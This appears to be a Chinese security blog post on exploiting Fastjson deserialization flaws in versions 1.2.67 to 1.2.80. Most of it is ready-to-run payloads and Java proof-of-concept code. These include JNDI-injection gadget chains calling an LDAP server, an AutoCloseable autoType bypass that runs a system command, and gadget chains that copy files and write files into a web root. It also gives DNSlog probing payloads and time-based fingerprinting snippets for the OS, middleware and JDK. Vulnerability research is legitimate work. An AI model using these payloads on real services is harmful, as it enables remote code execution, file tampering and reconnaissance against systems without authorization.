br.com.anteros.dbcp.AnterosDBCPConfig

导入依赖:

<!-- https://mvnrepository.com/artifact/br.com.anteros/Anteros-Core -->
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-Core</artifactId>
<version>1.2.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/br.com.anteros/Anteros-DBCP -->
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>

exp:

package org.clown.JNDITest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Anteros_Version {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload1="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:9999/xCxXLJwZ\"}";
String payload2="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://127.0.0.1:9999/xCxXLJwZ\"}";
JSON.parse(payload1);
}
}

payload1分析

调用AnterosDBCPConfig#setMetricRegistry

image-20240901104216255

然后调用AnterosDBCPConfig#getObjectOrPerformJndiLookup

image-20240901104316840

这里存在jndi注入漏洞

payload2分析

调用AnterosDBCPConfig#setHealthCheckRegistry

image-20240901104447626

调用AnterosDBCPConfig#getObjectOrPerformJndiLookup

image-20240901104535103

这里存在jndi注入漏洞

这个Anteros看maven仓库用的人好少,感觉比较难碰到

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

导入依赖

<!-- https://mvnrepository.com/artifact/org.apache.ibatis/ibatis-sqlmap -->
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>

exp:

package org.clown.JNDITest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JTA_Version {
public static void main(String[] args) {
String payload="{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:9999/xCxXLJwZ\"}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(payload);
}
}

image-20240901110919034

利用链分析

首先调用到JtaTransactionConfig#setProperties方法

image-20240901111125227

这里存在jndi漏洞,但是utxName获取为固定的键值,为Properties对象的UserTransaction

所以payload里的properties值的设置为Properties类然后加一个UserTransaction属性

Fastjson1.2.67

也是黑名单绕过,直接给payload,不想分析了(

这里的条件也是开启autoType

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

需要ignite-core、ignite-jta和jta依赖

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://127.0.0.1:9999/xCxXLJwZ"], "tm": {"$ref":"$.tm"}}
<!-- https://mvnrepository.com/artifact/org.apache.ignite/ignite-jta -->
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-jta</artifactId>
<version>2.9.0</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.ignite/ignite-core -->
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-core</artifactId>
<version>2.8.1</version>
</dependency>

代码示例:

package org.clown.JNDITest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class liuqi_banben {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://127.0.0.1:9999/BXcEBBgx\"], \"tm\": {\"$ref\":\"$.tm\"}}";
JSON.parse(payload);
}
}

image-20240903193000515

利用链分析:

根据poc来看看漏洞点

image-20240903193814261

image-20240903193827745

所以就是从jndiNames遍历,然后在getTm方法中触发jndi漏洞,这里的tm属性只有get方法

但是根据他的返回值看起来并不满足我们前面说的触发get方法的特征,这里就涉及到Fastjson的循环引用

循环引用

https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8

fastjson支持循环引用,并且是缺省打开的。

//引用可以自己关闭,关闭后可能导致json数据传输的时候丢失
//全局配置关闭
JSON.DEFAULT_GENERATE_FEATURE |= SerializerFeature.DisableCircularReferenceDetect.getMask();
//非全局关闭
JSON.toJSONString(obj, SerializerFeature.DisableCircularReferenceDetect);
语法 描述
{“$ref”:”$”} 引用根对象
{“$ref”:”@”} 引用自己
{“$ref”:”..”} 引用父对象
{“$ref”:”../..”} 引用父对象的父对象
{“$ref”:”$.members[0].reportTo”} 基于路径的引用

$ref即循环引用:当一个对象包含另一个对象时,Fastjson就会把该对象解析成引用。引用是通过$ref标示的。

所以这里poc后面的{“$ref”:”$.tm”}就是基于路径引用,相当于调用了根对象的tm属性,自然就要调用get方法,这里的根对象就是CacheJndiTmLookup

org.apache.shiro.jndi.JndiObjectFactory

需要shiro-core和slf4j-api依赖

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:9999/xCxXLJwZ","instance":{"$ref":"$.instance"}}

代码示例:

package org.clown.JNDITest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class liuqi_banben {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload2="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:9999/BXcEBBgx\",\"instance\":{\"$ref\":\"$.instance\"}}";
JSON.parse(payload2);
}
}

image-20240903193341386

利用链分析

image-20240903200449945

image-20240903200455729

这里就同理,该类也是只有getInstance方法,然后利用循环引用然后调用到get方法触发jndi漏洞

Fastjson1.2.68

这次是利用expectClass来绕过checkAutoType函数,大体思路如下:

  1. 先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数;
  2. 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用;

利用条件:

  • 利用类必须是expectClass类的子类或实现类,并且不在黑名单中;

这里先展示攻击流程

假设Fastjson服务端存在如下实现AutoCloseable接口类的恶意类VulAutoCloseable:

public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}

poc如下:

{"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"}
import com.alibaba.fastjson.JSON;

//fastjson1.2.68
public class AutoType_RaoGuo {
public static void main(String[] args) {
String payload="{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.clown.vul.VulAutoCloseable\",\"cmd\":\"calc\"}";
JSON.parse(payload);
}
}

image-20240903144639232

可以看到没有开启autoTypeSupport也能够成功

直接从checkAutoType函数开始调试

image-20240903145345998

到这里可以直接可以从缓存中获取到AutoCloseable这个类

image-20240903150200931

然后往下直接return了,因为这时候expectClass还是空的

image-20240903153245307

然后传进去AutoCloseable反序列化,继续跟进

image-20240903154215912

到这里获取反序列化器为空,然后typeName为我们的实现类,expectClass传递的是AutoCloseable类,继续跟进checkAutoType函数

image-20240903155427045

到这里expectClassFlag就为true了

image-20240903155741275

最后走到这个地方,expectClassFlag使判断为true,最终进行loadClass

image-20240903160414341

然后往下有对加载的类进行判断,这些都是常见的jndi利用链的类,如果属于这些类或者子类直接抛出异常

image-20240903160225818

往下还有一个加入缓存,然后return,这里还判断了我们的clazz是否为expectClass的子类,所以恶意类必须要继承expectClass

然后就是反序列化触发构造函数弹计算器

不过这里不过get或者set直接构造函数也可以了,在早期版本我试了一下只能默认构造方法,不过如果存在默认构造方法也是优先默认构造方法

实战利用

实战中要去找实际可行的利用类,也就是继承了autoCloaseable类的,主要是寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现自AutoCloseable接口的。

寻找gadget的条件可以参考这样:

需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法
以上三个组合在一起就能构造成一个写文件的利用链,我通过扫描了一下 JDK ,找到了符合第一个和第三个条件的类。

下面是一些利用payload

复制文件

利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream

利用依赖:

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

去看一下SafeFileOutputStream的源码:

image-20240903165946075

该构造函数判断如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中

利用PoC:

{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"D:/win.txt"}
package org.clown.File_Use;

import com.alibaba.fastjson.JSON;

public class File_Move {
public static void main(String[] args) {
String payload="{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\", \"tempPath\":\"C:/Windows/win.ini\", \"targetPath\":\"D:/win.txt\"}";
JSON.parse(payload);
}
}

image-20240903170451492

文件写入

写内容类:com.esotericsoftware.kryo.io.Output

依赖:

<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>

Output类主要用来写内容,它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流,其中buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()函数

看一下Output类的源码

image-20240903191151647

image-20240903191539933

image-20240903191344410

所以我们要想办法调用到Output的flush函数

flush函数可以在调用close函数和require函数时触发

image-20240903201552519

image-20240903201535860

然后require函数在write相关函数触发

image-20240903201620928

image-20240903201703586

然后找到JDK的ObjectOutputStream类,其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量,而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数,满足前面的需求

这都咋找的啊😢

image-20240903202010304

image-20240903202044589

然后对于setBlockDataMode()函数的调用,在ObjectOutputStream类的有参构造函数中就存在

image-20240903202324306

但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数,因此只能找ObjectOutputStream的继承类来触发,然后找到只有有参构造函数的ObjectOutputStream继承类:com.sleepycat.bind.serial.SerialOutput,这个类在这个依赖里面

<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

image-20240903202720784

然后这里调用了父类的构造方法,到这里最终满足条件

poc如下,然后也运用了前面的循环引用技巧

{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt",
"tempPath": "D:/wamp64/www/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

但是写入文件有限,有些特殊字符写不了,比如php代码

payload直接抄了,怎么写出来的就不管了(

代码示例:

package org.clown.File_Use;

import com.alibaba.fastjson.JSON;

public class File_Write {
public static void main(String[] args) {
String payload="{\n" +
" \"stream\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
" \"targetPath\": \"D:/hacked.txt\",\n" +
" \"tempPath\": \"\"\n" +
" },\n" +
" \"writer\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.esotericsoftware.kryo.io.Output\",\n" +
" \"buffer\": \"cHduZWQ=\",\n" +
" \"outputStream\": {\n" +
" \"$ref\": \"$.stream\"\n" +
" },\n" +
" \"position\": 5\n" +
" },\n" +
" \"close\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.sleepycat.bind.serial.SerialOutput\",\n" +
" \"out\": {\n" +
" \"$ref\": \"$.writer\"\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(payload);
}
}

image-20240903203402350

buff这里传的是base64之后的数据

这里还看到另一种写文件的payload

{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'你的内容的base64编码'
},
'bufLen':1048576
},
'protocolVersion':1
}

补丁分析

额额额该版本之后的补丁又是粗暴的给expectClass多加上一些黑名单

SafeMode

在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。

开启如下:

ParserConfig.getGlobalInstance().setSafeMode(true);

开启之后直接完全禁用autoType,即@type

image-20240903204034792

获取是否设置了SafeMode,如果是则直接抛出异常终止运行

Fastjson1.2.80

1.2.68之后新版本将java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable加入了黑名单,这里就利用另一个期望类,异常类Throwable

这里就看一下这篇文章就行了:https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ,因为看起来很难有rce的点(主要是懒了不想再写了😢

信息探测

平时用于探测fastjson的一些信息来考虑如何利用,参考文章:https://forum.butian.net/share/2858,https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement

然后使用safe6Sec师傅的复现环境来做测试:https://github.com/safe6Sec/ShiroAndFastJson

将其中/json路由的代码修改一下方便查看解析结果或者解析报错:

@PostMapping("/json")
@ResponseBody
public JSONObject parse(@RequestBody String data) {
JSONObject jsonObject = new JSONObject();
try {
jsonObject.put("status", 0);
jsonObject.put("message", String.valueOf(JSON.parse(data)));
} catch (Exception e) {
jsonObject.put("status", -1);
jsonObject.put("error", e.getMessage());
}
return jsonObject;
}

后面直接向/json路由进行post请求即可

版本探测

参考文章:https://github.com/W01fh4cker/LearnFastjsonVulnFromZero-Improvement

具体版本探测

参考文章:https://b1ue.cn/archives/402.html

具体原理是JavaBeanDeserializer 类异常的 message 会把当前 fastjson 的版本号输出,所以需要构造出能令这个类抛出异常的错误即可

image-20240905224846071

这里直接列出文章需要满足的报错条件:

  • 当代码使用 JSON.parseObject(json , clazz) 指定期望类的方式去解析 JSON,且 clazz 不能为 fastjson 已设定的大部分类型,如“Hashmap”、“ArrayList”
  • 当使用 JSON.parse(json) 不指定期望类的时候可以通过 AutoCloseable 来触发

比如这样:

{"@type":"java.lang.AutoCloseable"   //该方法尝试了一下直到1.2.80都还可以探测出

//下面这个据说也能探测,但是该靶场没有成功
["test":1]

image-20240905225213882

探测DNS

参考文章:https://blog.csdn.net/why811/article/details/133679673

DNS探测主要是为了探测是否为fastjson

这里dnslog可以直接用yakit生成

image-20240905132158243

这里纯收集payload复现了,没找到什么分析的文章

{"@type":"java.net.InetAddress","val":"muwoiavfqk.dgrh3.cn"}

不过这个gadget在1.2.48禁止了

1.2.68版本结果

image-20240905132543897

笑死yakit的dnslog没记录出来,dnslog平台的可以

image-20240905133750354

image-20240905133730460

各种payload

{"@type":"java.net.Inet4Address","val":"bolvv3.dnslog.cn"}
{"@type":"java.net.Inet6Address","val":"bolvv3.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"bolvv3.dnslog.cn"}}
//下面是一些畸形payload,会报错但是也能触发dnslog
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"bolvv3.dnslog.cn"}}""}
{{"@type":"java.net.URL","val":"bolvv3.dnslog.cn"}:"aaa"}
Set[{"@type":"java.net.URL","val":"bolvv3.dnslog.cn"}]
Set[{"@type":"java.net.URL","val":"bolvv3.dnslog.cn"}
{{"@type":"java.net.URL","val":"bolvv3.dnslog.cn"}:0

这里可能有时候探测出现问题,说type not match,其实原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象

最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值,比如:

{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}

这样写通常就不会有type not match的

下面的探测是存在fastjson并且可以加载字节码的情况,纯粹记录没有尝试过

操作系统探测

String osName = System.getProperty("os.name").toLowerCase();
System.out.println(osName);
if (osName.contains("nix") || osName.contains("nux") || osName.contains("mac"))
{
Thread.sleep(3000);
} else if (osName.contains("win")) {
Thread.sleep(6000);
} else {
Thread.sleep(9000);
}

中间件探测

Map stackTraces = Thread.getAllStackTraces();
for (Map.Entry entry : stackTraces.entrySet()) {
StackTraceElement[] stackTraceElements = entry.getValue();
for (StackTraceElement element : stackTraceElements) {
// element.getClassName().contains("org.springframework.web"
if (element.getClassName().contains("org.apache.catalina.core")) {
Thread.sleep(5000);
return;
}
}
}

探测JDK版本

// 获取 Java 版本
String javaVersion = System.getProperty("java.version");
// 解析主版本号
int majorVersion = Integer.parseInt(javaVersion.split("\\.")[1]);
// 进⾏版本判断
switch (majorVersion) {
case 5:
Thread.sleep(1000);
break;
case 6:
Thread.sleep(2000);
break;
case 7:
Thread.sleep(3000);
break;
case 8:
Thread.sleep(4000);
break;
default:
Thread.sleep(5000);
break;